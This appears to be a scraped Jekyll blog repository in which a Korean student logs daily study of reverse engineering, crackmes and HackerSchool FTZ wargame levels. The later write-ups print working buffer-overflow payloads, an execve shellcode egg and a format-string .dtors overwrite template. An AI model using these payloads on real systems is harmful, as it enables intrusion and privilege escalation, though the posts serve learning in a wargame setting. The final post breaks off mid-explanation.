1. Project Overview & Quickstart (code-yeongyu/workflows)
Technical Documentation: code-yeongyu/workflows
โน๏ธ Provenance: Multi-Tier Ingestion ยท CodeWiki Reference
workflows
Agent Skills & Rules
- Discovered 21 agent rule(s) and prompt configurations.
--- METRICS ---
- Files Extracted: 1
- Estimated Token Budget: ~24 tokens
- Canonical Reference: https://codewiki.google/github.com/code-yeongyu/workflows
2. Official Technical Reference & Guides (code-yeongyu/code-yeongyu.github.io)
File: README.md
plainwhite
Simplistic jekyll portfolio-style theme for writers.
Demo: thelehhman.com
Installation on Github Pages
Add this line to your site's _config.yml:
remote_theme: thelehhman/plainwhite-jekyllInstallation
Add this line to your Jekyll site's Gemfile:
gem "plainwhite"And add this line to your Jekyll site's _config.yml:
theme: plainwhiteAnd then execute:
$ bundleOr install it yourself as:
$ gem install plainwhiteUsage
The "plainwhite" key in _config.yml is used to customize the theme data.
plainwhite:
name: Adam Denisov
tagline: Developer. Designer
date_format: "%b %-d, %Y"
social_links:
twitter: thelehhman
github: thelehhman
linkedIn: in/thelehhman # format: locale/usernameUpdating Placeholder Image
The placeholder portfolio image can be replaced by the desired image by placing it as assets/portfolio.png in your jekyll website.
Comments (Disqus)
Comments on posts can be enabled by specifying your disqus_shortname under plainwhite in _config.yml. For example,
plainwhite:
disqus_shortname: gamesGoogle Analytics
It can be enabled by specifying your analytics id under plainwhite in _config.yml
plainwhite:
analytics_id: '< YOUR ID >'Excerpts
Excerpts can be enabled by adding the following line to your _config.yml
show_excerpts: trueLayouts
- Home
- Page
- Post
Contributing
Bug reports and pull requests are welcome on GitHub at https://github.com/thelehhman/plainwhite-jekyll. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.
Development
To set up your environment to develop this theme, run bundle install.
Your theme is setup just like a normal Jekyll site! To test your theme, run bundle exec jekyll serve and open your browser at http://localhost:4000. This starts a Jekyll server using your theme. Add pages, documents, data, etc. like normal to test your theme's contents. As you make modifications to your theme and to your content, your site will regenerate and you should see the changes in the browser after a refresh, just like normal.
When your theme is released, only the files in _layouts, _includes, _sass and assets tracked with Git will be bundled.
To add a custom directory to your theme-gem, please edit the regexp in plainwhite.gemspec accordingly.
License
The theme is available as open source under the terms of the MIT License.
File: _config.yml
title: Hackers can do anything
author: Exlock
email: [email protected]
I do what I love, and I love what I do.
I write posts about what I love to do.
show_excerpts: true # set to true to show excerpts on the homepage
Minima date format
refer to http://shopify.github.io/liquid/filters/date/ if you want to customize this
sass:
sass_dir: _sass
plainwhite:
name: YeonGyu Kim
tagline: Developer, Hacker
date_format: "%b %-d, %Y"
generate social links in footer
social_links:
github: kim-yeon-gyu-exlock
rss: rss
# dribbble: jekyll
facebook: kim.y30n.gyu
# flickr: jekyll
# instagram: jekyll
# linkedin: jekyll
# pinterest: jekyll
# youtube: jekyll
# youtube_channel: UC8CXR0-3I70i1tfPg1PAE1g
# youtube_channel_name: CloudCannon
# telegram: jekyll
# googleplus: +jekyll
# microdotblog: jekyll
# Mastodon instances
# mastodon:
# - username: jekyll
# instance: example.com
# - username: jekyll2
# instance: example.comIf you want to link only specific pages in your header, uncomment
this and add the path to the pages in order as they should show up
#header_pages:
- about.md
Build settings
#theme: plainwhite
plugins:
- jekyll-seo-tag
- jekyll-feed
File: index.md
layout: home
File: LICENSE.txt
The MIT License (MIT)
Copyright (c) 2019 Samarjeet
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
File: _posts/2019-06-03-Reversing1.md
layout: post title: "First time to study Reversing: what I studied today" date: 2019-06-03 23:30:00 +0900 categories: [reversing]
Hello, it's my first post for this blogs.
I'm basically a high school student in South Korea. Therefore the book I'm gonna use for studying is a Korean book called "๋ฆฌ๋ฒ์ฑ ํต์ฌ์๋ฆฌ", which means "principles for the points in reversing".
I'm planning to write what I studied for each day.
Let's Start !
Reverse Engineering is a series of courses about analyzing softwares, products, etc.
By analyzing them, you can understand how the things work, improve the products, and you can add your ideas on it.
So, there are two ways for analyze something.
- Static Analysis
- Dynamic Analysis
Static Analysis is a way by observing the appearance of the file.
In this method, you don't have to execute the file.
This method is to check the kind of the file, size, header, APIs, internal strings, debugging informations, etc...
You can do this by using the disassembler.
Dynamic Analysis is a way to analyze a file by executing the file.
By debugging, you need to observe how the codes flow, and the state of the memory.
In this method, you can analyze by observing the file, registry, and the networks.
Also, you can use the debugger.
I know the post is very little, but I'll weigh more for '1 day, 1 posts'.
File: _posts/2019-06-04-Reversing2.md
layout: post title: "Second time to study Reversing: lack of time, seriously" date: 2019-06-04 23:49:00 +0900 categories: [reversing]
What is hex code?
The file that we can execute is a set of assembly instructions, which means it's a binary file.
It would be really hard to understand the meaning if we have to only use the binary.
So, hackers often convert the binary into hex, cuz it's much easy to read due to the length reduces.
What is Patch ?
Modifying the file of some programs or the memory of the process called the patch.
The general example of patch would be the update system of operating system.
Tomorrow, I'll analyze the 'Hello World' program written in cpp with the windows api's message box.
File: _posts/2019-06-12-Reversing3.md
layout: post title: "Start reversing, for real" date: 2019-06-12 23:46:00 +0900 categories: [reversing]
Let's enter into the world of reversing!
Now you just entered the world of reversing.
You'll remember the definition of reversing: series of courses about analyzing software.
Using a debugging tool is a basic way to analyze software. Therefore let's start reversing with the debugging tool, ollydbg.
You can download it from here.
With the hello world example of the book, "๋ฆฌ๋ฒ์ฑํต์ฌ์๋ฆฌ", start debugging.
File: _posts/2019-06-13-Reversing4.md
layout: post title: "I just launched the ollydbg!" date: 2019-06-13 12:36:00 +0900 categories: [reversing]
Yesterday, I installed the debugger which is called the ollydbg.
After you launch it and open the examples from the book, "๋ฆฌ๋ฒ์ฑํต์ฌ์๋ฆฌ", you'll see a window like this.
The up-left side one is a code window and the up-right side one is a register window.
The below one at the left side is the dump window and the right side one is the stack window.
Code window has the disassembled code with some comments, label and the positions of jump and loop which changes where the code is executing.
Register window displays the state of registers such as EAX, ECX, EDX, EBX, ESP, EBP, ESI, and EDI. Some registers are modifiable if you want.
Dump window displays the current memory's state. You can see wherever in the memory you want in HEX, ASCII or Unicode.
Stack window shows the current state of the stack which ESP register points as the name.
Where debugger waiting is the EP(Entry Point), which is the beginning address of the program that I'm currently debugging.
This is all for today.
I think to translate all the contents in the book is inefficient.
Therefore since tomorrow, I'll just write a simple report about what I learned.
File: _posts/2019-06-14-Reversing5.md
layout: post title: "Found the main function" date: 2019-06-14 22:48:00 +0900 categories: [reversing]
Ollydbg has some shortcuts, and today I used F7 which does step over(and goes into the function call), and F8 which does step over(doesn't go into the function call).
Ctrl+F9 does the command 'execute till return'.
So with these shortcuts, I tried to find where the main function is.
Because the example code contains the function, 'message box', to find the main function, I needed to find a function which executes that.
and I finally got into it.
The reason I thought that I found the main function is because of the "www.reversecore.com", and the "MessageBoxW".
File: _posts/2019-06-15-Reversing6.md
layout: post title: "How to set the base camp" date: 2019-06-15 23:43:00 +0900 categories: [reversing]
I haven't studied a lot today.
I learned about the features of ollydbg, especially the basecamp.
So, there are mainly 4 ways to make base camp.
The first one is to remember the address of the basecamp, use the goto feature, and type the F4 to run execute until cursor.
The second one is to use the breakpoint feature.
You can make breakpoints by typing the F2 Key. By typing F9, you'll see your ollydbg stops at the breakpoint.
The next thing is to make comments with the key ';', and check it at the user-defined comments window.
And another thing is to use the label feature, which replaces all that specific address into that comment.
File: _posts/2019-06-16-Reversing7.md
layout: post title: "I patched the hello world.exe" date: 2019-06-16 21:59:00 +0900 categories: [reversing]
Today was the most exciting moment while studying reverse engineering.
With the commenting features, breakpoint features, and other stuff in ollydbg, I patched the message "Hello World!!" into the "Hello Reversing".
So, there were to ways to modify the string.
The first one is just to edit the value in the memory, and it's only available when the text that you wanna change to is not bigger than the original string area.
The last one is was to create the string in another area in the memory, which is not used, called the 'null padding'.
I set the string "Hello Reversing" at the memory value at 409F50, which is the null padding.
Also, I actually saw how memory sections work. With the book I study with, I was able to see the text, data, code sections.
and I was able to see them clearly by the memory addresses.
So the hello world.exe's data section was the 409XXX, and the code section was the 401XXX.
Anyway, studying reverse engineering is very exciting. Therefore I...
File: _posts/2019-06-17-Reversing8.md
layout: post title: "Byte ordering, Registers" date: 2019-06-17 22:29:00 +0900 categories: [reversing]
Byte ordering - Little Endian, Big Endian
Let me say I made a variable and put '0x123456' into that.
Big Endian
In big endian, the data would look like exactly the same as you put.
Therefore, I can say big endian is the way how we save information.
Little Endian
In Little Endian, the orders of data are reversed.
Therefore, the data '0x123456' would look like '\x56\x34\x12'.
In the book I study with, it says that it's much efficient when the type of data expands or contracts.
Registers
I was a bit surprised cuz I only knew the general purpose registers.
So, in the 'Basic Program Execution Register', there are four kinds of registers. and they are:
- General Purpose Registers (consisted of 8 32bit registers)
- Segment Registers (consisted of 6 16bit registers)
- Program Status and Control Register (a 32bit register)
- Instruction Pointer (a 32bit register)
General Purpose Registers
- EAX: Accumulator for operands and results data.
- usually, be used for the return value of a function
- EBX: Pointer to data in the ds segment
- be used with 'ESI' and 'EDI' register for index
- ECX: Counter for string and loop operations
- be used for loop count such as the i of 'for(int i = 0;i<3;i++);'
- EDX: I/O Pointer
- be used for saving the value of Input / Output pointer
File: _posts/2019-06-18-Reversing9.md
layout: post title: "Other Registers" date: 2019-06-18 23:34:00 +0900 categories: [reversing]
Segment Registers
A segment is a method to protect the memory by taking apart the parts of the memory and give'em a start address, area, and permission.
Also, it's used with paging method to make virtual memory into the physical memory.
Segment memories are described in the Segment Descriptor Table.
And segment registers are pointing index of SDT.
There are 6 16bit registers in segment registers.
- CS, Code Segment
- SS, Stack Segment
- DS, Data Segment
- ES, Extra Segment
- FS, Data segment
- GS, Data segment
Program Status and Control Register
It's also called 'EFLAGS', which is a 32-bit register.
There are own meaning for each bit.
And like the name, 'flag', 0 means off, 1 means on.
It's hard to understand whole the meaning of 32-bit at the starter level, so the book recommends to understand the ZF, OF, and the CF which is necessary for application debugging.
Important Flags
- ZF, Zero Flag
- the value changes to 1 when after the results of calculate operation is 0
- OF, Overflow Flag
- the value changes to 1 when an overflow happens at a signed integer. Also when MSB(Most Significant Bit) changes
- CF, Carry Flag
- same as OF, but for an unsigned integer
Instruction Pointer Register
Its name is EIP, and it's a 32-bit register.
It's pointing the address of an instruction that is currently executing.
Unlike the other general purpose registers, it's not modifiable.
Therefore, in order to change the value inside of this, you have to use assembly operations such as 'jmp' or 'ret', making interrupts, or making an exception.
File: _posts/2019-06-19-Reversing10.md
layout: post title: "Stack section" date: 2019-06-19 09:24:00 +0900 categories: [reversing]
Stack
A stack is a FILO(First In Last Out) data structure.
And in memory, there is a section which uses the stack. It's also called 'stack section'.
To be comfortable, I'll short the word stack section into 'stack'. So the stack I'm talking about this article is about the stack section in memory.
Stack has these roles.
- Saves local variables
- Give parameters to a function when calls the function
- Saves the return address
Because the stack is a FILO data structure, it grows from down to up, High Address(from 0xFFFFFF to 0x000000). It would be easy to understand how you stack dishes.
Therefore, if you push an integer value into the stack, the TOS(top of the stack) which the ESP register points decrease for 4bytes cuz the TOS moved to the upside.
On the same principle, if you pop an integer value into the stack, the esp increases for 4 bytes.
Happy Hacking Happy Reversing
File: _posts/2019-06-20-Reversing11.md
layout: post title: "What happens if you make a variable in a loop, or bottom of the function?" date: 2019-06-20 15:40:22 +0900 categories: [reversing]
When I started to learn C, all of the tutorials are saying "You should define variables at the top of the function".
I wrote about the stack section which saves the local variables yesterday.
At my school club, I had the opportunity to analyze a c program, while solving a pwnable problem.
I found something at the assembly code. The compiler calculates the total size of all the local variables in a function, and they allocate it in a word(in an operation).
Because Modern C compilers are smart enough, nowadays we can define the variables anywhere in the function. Like in a loop, middle of the function, or bottom of the function.
So I wanted to see what happens in assembly if I define variables, not at the top of the function.
Therefore, I made four codes which the position of where the variable defines are different.
BTW, This is pretty far from the subject of today's post, but I found another thing that if a variable defined and not being used, it's not even allocated by the compiler.
Anyway, the codes look like this.
#include <stdio.h>
int main(void) {
char sentence[1024] = "nothing";
char array[512] = "nothing";
int i;
printf("%s %s", sentence, array);
return 0;
}This code is a recommended way to make variables. The useless variable 'i' is defined for compare with the loop.
#include <stdio.h>
int main(void) {
char sentence[1024] = "nothing";
int i;
for(i = 0; i < 10; i++) {
char array[512] = "nothing";
printf("%s %s", sentence, array);
}
return 0;
}and in this code, I put a variable(technically array) in a loop.
#include <stdio.h>
int main(void) {
char sentence[1024] = "nothing";
int i;
printf("%s", sentence);
for(i = 0; i < 10;i++);
char array[512] = "nothing";
printf("%s", array);
return 0;
}Also, I defined the array the bottom of the code.
Yeah, as I expected, the compiler which I tried with (Apple LLVM) was smart enough to improve my dirty code. As you can see in the assembly code, the operation "sub 0x640" was the same in the top one and the bottom one.
But one thing I thought weird was the "sub 0x630", which was in the loop code. Somehow, the size has been changed.
What I wanted to figure out by today's experiment was 'What happens if you make a variable in a loop, or bottom of the function?'.
And it seems like I've got an answer. The answer was "the compiler makes and allocates it just as you define the variable at the top of the function".
Anyway, it was my first time to try 64-bit assembly debugging. Therefore I'm a bit embarrassed about longer memory addresses, different names of registers(such as ESP to RSP). But because it's also a computer that's based on x86, the assembly codes were not that different.
It was very interesting! Understanding a code which I wrote in a computer's perspective was very interesting. Not only for reverse engineering, but also for the programming, I think it's really good to learn the assembly.
Happy Reversing :)
File: _posts/2019-06-21-Reversing12.md
layout: post title: "What is CrackMe?" date: 2019-06-21 23:43:22 +0900 categories: [reversing]
What is 'CrackMe'?
CrackMe is a program that is coded for people who want to practice reverse engineering to crack, as its name.
The book I studied with mentions that this book is actually helpful for being friendly with the assembly codes.
So from tomorrow, I'll start cracking it. (Cuz I don't have much time for today. I just got home, and it was 23:30!)
File: _posts/2019-06-22-Reversing13.md
layout: post title: "Reason why I study reverse engineering" date: 2019-06-22 23:22:43 +0900 categories: [reversing]
Cuz I don't have much time for today, I'll write down here the reasons why I want to study reverse engineering, not other hacking technologies.
Why do you study reverse engineering?
Since I started to use Android phones and install some custom ROMs in those devices, I always had a dream.
"I want to make such that software so that I can truly play with my phone".
Also, at the similar period, I read an article about that geohot hacked the ps3, and that also became my dream.
"Hack a gaming console, do shits whatever I wanna do, such as running doom :D"
Time passed, now I'm going to high school that I wanted to go(I study about computer stuff there), and I found that reverse engineering is appropriate for what I want to do.
Wait, system programming and reverse engineering are different!
Yeah, I know. Reverse engineering is not my final goal.
I want to get deep computer science knowledge by studying reverse engineering, and I'll change my way to system programming, such as system calls in Linux.
I want to work for Linux environments or embedded devices in the future, and I'm sure about experiences in studying reverse engineering can help me.
Because my English skills are not good, I wasn't able to short about what I wanted to say.
Anyway, briefly, I'm studying reverse engineering to hack devices to do whatever I want to do on that device and to study the basics of computer science knowledge.
Also, I'll study system programming in the future, and I believe my experiences in studying reverse engineering can help me.
File: _posts/2019-06-23-Reversing14.md
layout: post title: "Let\'s solve crackme level 1" date: 2019-06-23 22:30:12 +0900 categories: [reversing]
Let's crack
Two days ago, I introduced "crackme". And, today, I tried to crack the crack me level 1, and here is the write up how I solved it.
Execute it
So, when I first executed the crackme level 1, you'll see such this popup.
If you press 'ok' here, you'll see this message.
Therefore, I had to make this application to think that HD as a CD-Rom.
Debug it
I opened it with the ollydbg, and here is the capture of it.
What I thought it's weird is that it doesn't have any stub code, which means it's coded with assembly, not by another computer languages.
How to give parameters to a function
Let's look at the operations before the function MessageBoxA calls.
This part can be translated into C, like:
MessageBoxA("Make me think your HD is a CD-Rom.", "abex\' 1st crackme", MB_OK|MB_APPLMODAL);You'll ask like, "Hey, I can't get it. According to that assembly code, the string "Make me" thing is not the first. The first one should be the MB thing".
The answer to this question is can be found if you think how stack saves the data. It's a LIFO struct, right?
Find where to patch
The operations with blue lines are garbage codes, which are added to hackers feel difficult to hack this application. So, it doesn't have any meanings.
The operations with red lines are 'if' in C.
CMP is a shortage of compare, so it compares to values that are given to parameter.
How cmp works
I once mentioned about the ZERO flag while explaining the flag registers.
If the result of subtraction between the parameters that are given to cmp equals 0, the zero flag turns on.
The next operations such as 'je' 'jle' 'jne' are executed by referencing the zero flag.
Patch
The method I tried is to replace the 'je' which means "jump equal" into 'jne' which means "jump not equal".
Done!
P.S: the way the book suggests is to replace je into jmp. but jne still worked because I changed the condition into 'if not'.
File: _posts/2019-06-24-Reversing15.md
layout: post title: "Stack Frame - Function Prologue" date: 2019-06-24 22:30:12 +0900 categories: [reversing]
You may remember about ESP and EBP, and how stack saves the data.
ESP saves the position of the top of the stack, EBP saves the position of the base of the stack.
And lastly, the way how the stack section saves the data is the LIFO.
So today, I'm gonna say about the stack section. And the book says that "By studying this, you'll be able to understand what stack frame is and how the stack frame works".
So, what is it?
The stack frame is a technique which accesses to local variables, parameters, and the return address by using EBP instead of ESP.
Therefore you have to know about things such as function prologue, and the function epilogue.
Function Prologue
When a function is called, to save where to back when that function ends, you have to back up the address what to execute for next when the function ends.
This is called the function prologue.
When a function starts, at the top of the function, there's something like this.
push ebp
mov ebp, espTo understand these commands, you have to think this as stacking another space on the memory that is only for another function.
Firstly, back up the base address of the stack in order to restore when the function is ended.
And secondly, set the current top position of the stack as the base to make an own area for that function.
By this, the function has its own area to save its local variables.
File: _posts/2019-06-25-Reversing16.md
layout: post title: "Stack Frame - Function Epilogue" date: 2019-06-24 23:21:11 +0900 categories: [reversing]
When the function is about to end, it needs to be restored as before, and the commands of it are these.
mov esp ebp
pop ebpto explain these commands, you have to remember how we made the stack frame at the function prologue.
At the Prologue, we've seen such these commands.
push ebp
mov ebp espWe stacked another area of the function, by changing the ebp. And when the function is about to end, to restore as before, change the esp as before, and ebp as before.
That's the function epilogue.
I think I have to spend more time studying the reversing.
I seriously feel that it's really hard to write an article for a day cuz lacking of the time.
File: _posts/2019-06-26-Reversing17.md
layout: post title: "Miscellaneous tips I've learned today" date: 2019-06-26 13:23:11 +0900 categories: [reversing]
About the EAX
- Mentioned before that this register is used for calculating and returning values when a function is ended.
- While analyzing an example file of the stack frame, I found that when a calculation is done, and when the value needs to be returned, because EAX register is used to calculating values, the function is straightly done without doing anything because there's already a returning value in the EAX.
- So, this is the code I was talking about. As you can see, just right after the adding calculation is done, the function ends.
When after the function is ended, because the parameters (which are stacked) are unneeded anymore, there is a code that adds 8 into esp to remove that space in the memory.
This is one of the 'calling convention', and this way, like cleaning the parameters from the function which called another function, is called 'cdecl'.
And the way that function who have called by a caller is called 'stdcall'.
So, briefly, caller cleans the stack: it's cdecl.
Calee cleans the stack: it's stdcall.
When you want to make EAX as 0, XOR EAX, EAX is faster than mov EAX, 0.
So, it's commonly used for the c code such as this.
return 0;File: _posts/2019-06-27-Reversing18.md
layout: post title: "Calling convention" date: 2019-06-27 09:26:19 +0900 categories: [reversing]
cdecl
Cdecl calling convention is useful for making creating variable arguments because it's hard to handle on other calling conventions.
Cdecl is a calling convention that the caller of the function cleans the stack when after the calling function is returned.
As you can see, the caller cleans the stack by the operation ADD ESP, XXX.
and the command RETN doesn't have any parameters, while the stdcall way has a parameter.
C uses this calling convention as default, but you can use _stdcall by typing the keyword _stdcall behind the type of the function.
stdcall
Stdcall is a calling convention that the callee cleans the stack when it's executing the RETN operation.
Therefore, the operation ADD ESP, XXX is unneeded.
It has advantages than cdecl because you don't have to clean the stack every time after the function is called. Therefore you can reduce the size of the code.
Win32API uses this calling convention as default, while Win32API is written in C.
You may wonder the reason why. It's because to increase the compatibility when a programmer uses it with other languages such as Delphi, Visual Basic, ETC.
fastcall
It's based on stdcall, but it uses ECX and EDX registers instead of using stack section, it's only available when the parameters are less than two.
As the name of this calling convention, it's faster than stdcall and cdecl when you call a function because the speed of the register is faster than using ram.
But to use the ECX and EDX registers, sometimes additional overheads are needed. Like, if there are some important data on the ECX and the EDX registers, you have to back them up.
Also, when the function is so complex that have to use the ECX and the EDX registers, additional overheads would be needed.
File: _posts/2019-06-28-Reversing19.md
layout: post title: "Sorry to myself" date: 2019-06-28 12:22:34 +0900 categories: [reversing]
I'm just a Korean who can speak English a little bit, and I only can have basic communications with others in English.
Since I started to learn English, I always tried to think and write straightly in English.
And recently, I noticed that this is a very bad habit. I found that I have a problem with fluency.
Because I only can use limited words, the more letters are needed to express what I want to. And, you know, that makes readers hard to understand.
I write the report to record what I study, but also I want to help readers to study what they want to.
But like this way, writing posts like in a factory, I think it can make my posts worthless.
I'm sorry about my self.
It'll take more time to make a post, but I'll write it in my mother language, Korean, then I'll translate it in English.
Although I don't have any computer science things, I stop here for a new start.
File: _posts/2019-06-29-Reversing20.md
layout: post title: "Sorry, not about computer science again, but about my thoughts" date: 2019-06-29 23:26:19 +0900 categories: [reversing]
Damn, today's post is not about computer science again.
To be honest, I agree that I'm too busy these days. I didn't have much time to study computer science.
BTW, I want to talk about the thoughts that I have these days.
It's true that I didn't study much about reverse engineering.
One thing is about the actual hacking and the hackings in CTF.
It seems the actual hacking and the hackings in CTF feels quite different.
As I said before, I want to analyze products such as game consoles.
Others say that hackings in CTF are about finding the serial, therefore I have to analyze the algorithm which makes that serial.
But in real hacking, I have to find out the whole structure of the program. So it feels like they're very different.
One other thing is about the money. I used to study web programming. If I kept studying web programming, I can earn a little amount of money as a freelancer. You know, it's really hard to earn money as a freelancer if I am not skillful enough.
So I'm thinking and thinking about it, but I'll be the greatest reverser/hacker in the world. You know, there's an old saying, fake it till you make it.
File: _posts/2019-06-30-Reversing21.md
layout: post title: "Crack me 2 write up" date: 2019-06-30 12:43:36 +0900 categories: [reversing]
I used the search for > all referenced strings feature to find the position of the handler function of the check button.
What I did is to find the positions of string and try to find where the function prologue is.
Anyway, while reading the codes in that function, I found a je which looked like a part where decides the result of the serial.
So I set the breakpoint of that, and I found the serial code for what I typed at the stack.
I was able to solve in this way.
But I want to analyze the algorithm, so I'll post about it tomorrow.
File: _posts/2019-07-01-Reversing22.md
layout: post title: "Crack me 2 algorithm analyzing - found the loop" date: 2019-07-01 14:59:23 +0900 categories: [reversing]
I wanted to know how they encrypt the string at the name field, so I debugged the codes for a while, and I found a loop.
Which creates the serial code.
The first thing I found is, the program only uses the very first four values of what I typed.
I was able to find it by looking at this code, set loop count for 4.
And here is the loop code where encrypts the very first four values.
File: _posts/2019-07-02-Reversing23.md
layout: post title: "Abex's crack me 2 summary" date: 2019-07-02 19:10:32 +0900 categories: [reversing]
- It makes the serial based on the name you typed
- The algorithm to make serial is below:
- Make it as ascii
- Add 64
- Make it as hex
- Make it again as unicode
- Loop these for 4 times
File: _posts/2019-07-03-Reversing24.md
layout: post title: "Abex's crack me 2 cracker c code" date: 2019-07-03 12:10:32 +0900 categories: [reversing]
I made the serial maker for the crackme 2 cracker C code.
#include <stdio.h>
#include <string.h>
#include <math.h>
int main(int argc, char **argv) {
int i;
if(strlen(&argv[1]) < 4 || argc < 1) {
printf("The arguments should be longer than 4!!");
return 0;
}
for(i = 0; i < 4; i++)
printf("%X",(int)(argv[1][i] + 0x64));
return 0;
}and it works perfectly!
File: _posts/2019-07-04-Pwnable25.md
layout: post title: "HackerSchool FTZ, mainsource - Level14" date: 2019-07-05 16:52:19 +0900 categories: [pwnable]
Hacker School is the most famous Korean hacking tutorial for newbies who want to study Hacking.
I solved from level1 to level 13, therefore I have to solve the level 14 to 20, which are my club homework.
By the way, from level 14, it says that it's from the mainsource. I still actually don't know what it is
So I'll write here the write-ups of them.
BTW, the problem is this. This is the source code of attackme.
So when the value of the variable check equals the 0xdeadbeef, it'll give me the shell.
Since main doesn't have any arguments such as argc and argv, I have to use the Linux pipelines.
Anyway, I tried to analyze it with the gdb because I have to figure out where and how to attack, and here is it:
The part that making the variable(sub esp, 0x38) means that the total size of the stack is 0x38, which is 56 in decimal.
And you can see giving the address ebp-56 to fgets(the part giving the arguments, push ebp-56). This means that the start address of buf is ebp-56.
And you can see the cmp, which means 'if', with the ebp-16.
This means that the address of check is ebp-16.
So the payload will be like this. (Any value)*40+"\xef\xbe\xad\xde"
(the things after *40 is the little-endian-encoded 0xdeadbeef.)
So using the Linux payload feature, this is the payload.
(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|./attackmeFile: _posts/2019-07-05-Pwnable26.md
layout: post title: "HackerSchool FTZ, mainsource - Level15" date: 2019-07-05 18:34:25 +0900 categories: [pwnable]
It's very similar to the previous problem.
However, the variable check is now pointer, which means I have to put the address where 0xdeadbeef is located.
So I put the 0xdeadbeef into the environment variables, but it was not working for some reason.
So I just inspected the function main with the x, and the 0xdeadbeef was there.
...And solved!
File: _posts/2019-07-06-Pwnable27.md
layout: post title: "HackerSchool FTZ, mainsource - Level16" date: 2019-07-06 12:34:25 +0900 categories: [pwnable]
It's amazingly similar to the previous problem.
This problem uses the function pointer, therefore I have to use it.
It was a bit surprising for me since I haven't actually seen the code which uses it.
Anyway, function pointer is also a pointer. The only difference is just it's calling the function by pointer.
I tried to analyze it with gdb to see if there's any difference not like I expected.
ebp-56, ebp-16. Yes. It's something that you've seen at the previous problems.
Anyway, the way to attack it is very simple.
I have to change the address which call has into the shell from the printit.
So now it's time to find the address of shell.
disass shellAddress of shell: 0x080484d0
So this is the payload I used.
(python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|./attackmeSuper-duper easy.
File: _posts/2019-07-07-Pwnable28.md
layout: post title: "HackerSchool FTZ, mainsource - Level17" date: 2019-07-07 18:12:31 +0900 categories: [pwnable]
It's almost similar to the previous problem.
Now there's no function shell. So I thought that I have to put the address of eggshell into the payload that I used before.
I found an eggshell by googling.
export egg=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`and let's figure out the address of it.
whoo! I solved it again with this payload.
(python -c 'print "A"*40+"\x3a\xff\xff\xbf"';cat)|./attackmeFile: _posts/2019-07-08-Pwnable29.md
layout: post title: "HackerSchool FTZ, mainsource - Level18" date: 2019-07-08 13:24:35 +0900 categories: [pwnable]
It's not similar to the previous problem.
...Damn, the code is really long.
By just looking over it, the function read is the part where gets the input.
You know, the array and the pointer is the same. Therefore I thought that I have to access to the check by using it.
The start address of check should be the [string-4] at least, so I tried to 0x80 four times and so on and the beef, but solved just in a time.
YEAH!
File: _posts/2019-07-09-Pwnable30.md
layout: post title: "HackerSchool FTZ, mainsource - Level19" date: 2019-07-09 17:36:11 +0900 categories: [pwnable]
The problem is, it's using the function gets() which has the vulnerability on checking the size.
Let's just look at it by GDB.
The size of stack is 0x28, which is 40 in decimal. And most of the cases, the RET is after SFP which is right just after the stack.
Therefore I have to fill 44 bytes with usless values, and it looks like I have to put the address of shell code after it.
But this time, there's no part where calling the function setreuid, and I got it by googling.
Now it's time to make payload.
As I said, I have to put uselss values for 44 bytes, and I have to put that address.
Done!
File: _posts/2019-07-10-Pwnable31.md
layout: post title: "Pwnable is also fun" date: 2019-07-10 19:54:13 +0900 categories: [pwnable]
I almost solved the mainsource, the hacker school ftz.
It looks like I can learn a lot of things, as level increases, like requires me to make the shellcode.. or so.
Anyway, I started to solve these problems just to do my club homework, and I actually didn't like to solve it, cuz it's pwnable problems.
But after solving them, I realized that they have a lot in common.
So, I thought that there's no reason to limit my major only for reverse engineering. Pwnable is also fun, and you know, most of CTFs have the pwnable problems the most, and there are not much reverse engineering problems.
So, now I'm interested in Pwnable! It would be my second major since reverse engineering is the most enjoyable thing for me.
File: _posts/2019-07-11-Pwnable32.md
layout: post title: "HackerSchool FTZ, mainsource - Level20" date: 2019-07-11 15:49:00 +0900 categories: [pwnable]
It's the hint of level 20. And there's a printf which looks pretty weird.
YES. THIS is the problem which requires me to use the format string bug(FSB).
printf is the shortage of 'print format', and this function has a feature prints a string with format from a given address from parameter until '\0' which means null.
But there's a problem when calling printf with a variable.
The hacker can freely put the format.
So what?
Let me say I use the format in printf.
In order to print the format, the function will get the value from the given parameters.
As I wrote before, at the calling convention, C uses _stdcall to give parameters.
This means that when a function is called, the data at the top of the stack is what printf consider as arguments. (This is the reason why weird value appears if you use the format in printf without giving parameters)
Anyway, we have to know a format %n to attack with FSB.
%n is a format which saves how many bytes are used before using %n to the given address.
The 41414141 appears when I called %x for four times.
This means that the array 'bleh' is actually located where I try pop for three times.
Let's just attack
Usually, attacks using FSB attacks the .dtors segment.
GCC compiler creates two segments which called before calling main and called after executing main. They are .ctors(constructor) and the .dtors(destructor).
You know, after the SFP(the EBP before calling a function), there's a RET which the address of .dtors located.
Anyway, since I'm not able to modify the value of RET, I have to change the content of .dtors.
With the objdump, let's figure out the address of .dtors which we are gonna edit.
- It's the address of .dtors. However, if the value of this is not 0, it executes the dtors+4!
So I have to attack it with shellcode(eggshell).
But the address is too big to overwrite the memory. So I have to divide it half and half.
I early mentioned that %n changes the value of the given address. Therefore the payload should be like this:
(Any value)*4+([.dtors+4])+(Any value)*4+([.dtors+8])+(%8x)*3+"%[address of shellcode 1 - the total bytes of printed before]c%n"+"%[address of shellcode 2 - the total bytes of printed before]c%n"
To explain each of them,
